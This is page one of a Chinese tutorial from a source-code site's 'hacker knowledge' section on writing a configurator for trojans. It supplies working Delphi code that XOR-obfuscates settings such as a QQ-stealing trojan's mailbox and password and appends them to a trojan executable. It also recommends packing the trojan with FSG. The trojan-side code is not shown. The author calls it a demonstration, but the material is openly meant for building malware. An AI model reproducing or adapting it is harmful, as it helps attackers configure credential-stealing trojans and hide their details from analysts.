首 页 ┆ 源码下载 ┆ IT学院 ┆ 字体下载 ┆ 模板下载 ┆ 源码发布 ┆ 广告合作 ┆ 网站地图
► 设为首页
► 加入收藏
► 联系我们
源码下载 >> ASP源码 | PHP源码 | ASP.net源码 | JSP源码 | CGI源码 | VC/C++源码 | VB源码 | Delphi源码 | Flash源码
文章学院 >> 网络编程 | 网页设计 | 图形图象 | 数据库 | 服务器 | 网络媒体 | 网络安全 | 操作系统 | 办公软件 | 软件开发 | 黑客知识
字体下载 >> 精制字体 | 非英字体 | 艺术字体 | 著名字体 | 哥特式 | 简单字体 | 手写体 | 节假日 | 图案字体 | 精度像素 | 中文字体
模板下载 >> 企业门户 | 数码网络 | 休闲娱乐 | 影视音乐 | 旅游名胜 | 文化艺术 | 电子商务 | 个性展示 | 登陆导航 | Flash模板
►►您当前的位置:源码园 → IT学院 → 黑客知识 → 黑客进阶 → 文章内容

木马配置器通用写法--木马配置器通用写法

作者:佚名  来源:网上收集  发布时间:2006-5-5 23:19:38
上次写了一个直接将配置文件添加到对应的位置上的方法.好处就在于木马端不用写专门的代码再来提取配置文件,这样很自然的就节省了木马的体积.坏处就在于那种方法只能给未加壳的程序修改配置.这样每次都得带上个FSG(说明一下,FSG对于这种体积小的木马压缩强度是最大的,是我的最爱)跑.更甚的是FSG给程序加壳的时候还会有进度提示,这样给那些居心不良想破解你程序的人来说无疑是提供了一个机会.只要随便用ollydbg类工具给你来一中断,连脱壳都免了.

下面的程序不是木马,只是演示这种实现方法.同样分为两部分:配置器和木马.

配置器代码:

 程序代码
{该函数是给配置文件加密用的,采用的是xor加密方式,你可以改成你喜欢的加密方式.
当然,这部分绝对可以省略不要.但如果你往木马中写的配置信息涉及到你的敏感资料,
例如往QQ木马尾部写"邮箱"? "邮箱密码"? 那样人家拿Windows记事本一看,明文记录.
有了这部分就不会出现这种情况,xor虽然简单,但对付菜鸟足亦.需要提醒的一点是,这
里不管你用什么加密方式.木马运行后在内存中一定是解密的,用WinHex类工具一查内存
还是可以查到你的资料.所以尽量避免填写敏感资料,例如QQ木马改用ASP接口,这样它
查到的也是没用的一个网址而已.
}

function EncryptSettings(Str : String): String;
var
X, Y : Integer;
A : Byte;
Key:string;
begin
Key:='Fi7ke'; //这个是加密钥匙,你可以随便设置,但解密钥匙要一样,不然解不了密
Y := 1;
for X := 1 to Length(Str) do
begin
A := (ord(Str[X]) and $0f) xor (ord(Key[Y]) and $0f);
Str[X] := char((ord(Str[X]) and $f0) + A);
Inc(Y);
If Y > length(Key) then Y := 1;
end;
Result := Str;
end;

{这一个部分就是正式将数据添加到木马尾部了.本程序上所用到的控件有:
Edit1 ~ Edit5 , 一个Button
}

procedure TForm1.Button1Click(Sender: TObject);
var
f: file;
str: array[1..255] of char;
Each_size: array[1..1] of char;
HostName: string;
len, I: integer;
begin

HostName := EncryptSettings(edit1.Text+'>'+edit2.Text+'>'+edit3.Text+'>'+edit4.Text+'>'+edit5.Text+'>');
//将所有数据都加在一起,并用 > 号来阁开区分,最后用上面的函数加密后付值给变量HostName.

AssignFile(f, 'du.exe'); //打开同目录下的du.exe,准备修改 (这里假设du.exe是木马程序)
Reset(f, 1);

seek(f, filesize(f)); //上次是将指针移动到指定位置,这次是将指针移动到文件末尾
for i := 1 to 255 do str[i] := char(0); //循环写入所有的配置数据
for i := 1 to length(str) do str[i] := HostName[i];
BlockWrite(f, str, length(HostName));
Each_size[1] := char(length(HostName)); //计算出配置数据的长度

blockwrite(f, Each_size, 1); //写入配置文件的长度到末尾,否则文件改变了长度没变会出错
CloseFile(f); //最后别忘了关闭

end;



OK.一个配置器就这样写好了,是不是很Very Easy?


木马端代码:

[1] [2] 下一页  

[] [返回上一页] [打 印]
  • 上一篇文章:跟我打造无DLL版穿墙Downloader--DLL,穿墙,Downloader
  • 下一篇文章:怪异的SQL注入--SQL,注入

  • 相关文章:
  • 木马配置器通用写法--木马配置器通用写法
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 友情连接 - 网站地图 - 源码发布
Copyright © 2003-2009 Ymyasp.Com. All Rights Reserved .
备案序号:粤ICP备07029071号